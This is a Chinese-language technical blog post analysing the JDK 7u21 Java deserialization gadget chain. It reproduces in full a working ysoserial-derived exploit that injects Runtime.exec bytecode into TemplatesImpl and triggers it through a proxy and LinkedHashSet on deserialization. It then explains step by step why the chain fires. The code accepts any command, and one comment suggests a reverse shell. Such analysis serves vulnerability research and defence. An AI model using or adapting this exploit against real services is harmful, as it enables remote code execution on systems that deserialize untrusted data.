Jdk7u21
jdk7u21 gadget 可以算的上是非常骚的一个反序列化 payload,浑身都是骚点。
相比 Apache commons collections 系列的 payload 分析起来要稍稍烧脑一点。
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
calc.getOutputProperties();
}
不管序不序列化的,先让他弹个计算器再说。
参考了 gist 和一些大佬的分析文章可以得知,漏洞触发的地方在 TemplatesImpl.getOutputProperties(); 方法。
https://gist.github.com/frohoff/24af7913611f8406eaf3
/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java:380
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
最终是在这里被触发的,所以现在是要让他在反序列化时自动去调用 getOutputProperties() 。
EXP
package jdk;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/6/26 17:48
*/
public class Jdk7u21{
public static Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(String[] args) throws Exception {
Object calc = getObject("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
}
class Reflections {
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
member.setAccessible(true);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
}
class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
我把 ysoserial 里的 payload 生成代码给提取了出来,看看他是如何构造的 payload。
如何构造的 payload
主要看 createTemplatesImpl
方法。
其中这一段,是使用 javassist 动态的添加的恶意 java 代码,在初始化后执行。
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
并且设定了类名为 ysoserial.Pwner + System.nanoTime()
最后通过反射把类的字节码塞进了 TemplatesImpl 的 _bytecodes 属性里。
至此 payload 生成部分结束。
String zeroHashCodeStr = "f5a5a608";
这个奇怪的字符串暂且不管是干嘛的,值得关注的是它的 hashCode 为 0。
其实不止这一个字符串 hashCode 为 0。
经过测试,我发现 空字符串和 \u0000
的 hashCode 都为 0。
网上也有一些其他例子,在这里都适用,只要是 hashCode 为 0 就行
参考:https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero
后面除了创建了一个动态代理还有,一个装有键 = f5a5a608 值 = TemplatesImpl恶意对象的 HashMap 和装有 TemplatesImpl
恶意对象和 Templates 动态代理对象的 LinkedHashSet,
至此得出最终被序列化的恶意对象 LinkedHashSet。
复现
public static void main(String[] args) throws Exception {
Object calc = getObject("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
分析
LinkedHashSet 继承自 HashSet,readObject 在父类里。
它会把反序列化回来的对象,添加到 map 里(HashSet 本质上是一个 HashMap)
添加的顺序是,先添加 templates 再添加 proxy。
在第二次添加,也就是添加 proxy 的时候,此时 map 里已经有了一个 templates 。
它会和上一个 Entry 的 Key (templates) 进行比较,判断这两个对象是否相等,如果相等则新的替换老的值,然后返回老的值。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
而问题正好就出在了 key.equals(k) 这个地方。
要想执行到这里,必须满足如下条件
e.hash == hash 为真
(k = e.key) == key 为假
e.hash 其实就是 templates 对象经过计算后的 hash 暂且假设为 10086
hash 是当前代理对象的 hash,这里要看一下它是怎么计算代理对象的 hash 的
在 hashMap 计算对象 hash 在当前对象的 hashCode 的基础上做了一些异或运算,所以还是要去调用对象的 hashCode 方法的。
因为此时的 key 是一个 proxy 代理,要调用它的方法先进 invoke 接口。既(sun.reflect.annotation.AnnotationInvocationHandler#invoke)
else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
}
在 invoke 方法中它判断了如果方法名为 hashCode 就去调用 hashCodeImpl() 方法
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
看起来挺恶心,其实简化一下理解就是,遍历 memberValues 这个 map 对象,然后做这样一个运算
v += 127 * (键).hashCode() ^ memberValueHashCode(值);
memberValues 这个对象其实是我在实例化 AnnotationInvocationHandler 对象时传过去的 hashMap。
// InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
//.....
}
这个 hashMap 它的键被我设定为了 f5a5a608
值是 templates 对象。
所以它在这里的 hashCode 运算表达式就变成了
0 ^ memberValueHashCode(templates);
等价于
memberValueHashCode(templates);
又等价于
templates.hashCode()
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/6/27 16:12
*/
public class HashCode {
public static void main(String[] args) {
Object expVal = new Object();
String expKey = "f5a5a608";
int i = 127 * (expKey).hashCode() ^ memberValueHashCode(expVal);
System.out.println(i);
System.out.println(expVal.hashCode());
}
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
} else if (var1 == byte[].class) {
return Arrays.hashCode((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.hashCode((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.hashCode((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.hashCode((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.hashCode((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.hashCode((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.hashCode((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
}
}
}
可以拿这个 demo 做个试验,经过测试会发现计算后的 hashCode 和 expVal 对象的 hashCode 是相等的
其实说白了此时的情况就是拿 templates 对象和自身的 hashCode 做比较,结果当然为 true。
第二个条件 (k = e.key) == key 想都不用想,拿 proxy 和 templates 比肯定为 false。
所以程序自然走到了 key.equals(k)
这一步,既 proxy.equals( templates )
那因为调用的是代理对象的方法,自然要再走一遍 invoke 接口。
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
invoke 接口中又会去调用 equalsImpl 方法。
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods(); // 取出无参方法
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
其中在注释部分取出了 templates 的两个无参方法,并且使用了反射执行。
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
TemplatesImpl 中 getOutputProperties 方法调用过程如下。
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses 这一步装载了恶意代码 _bytecodes
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
最终在此处实例化对象并触发了恶意代码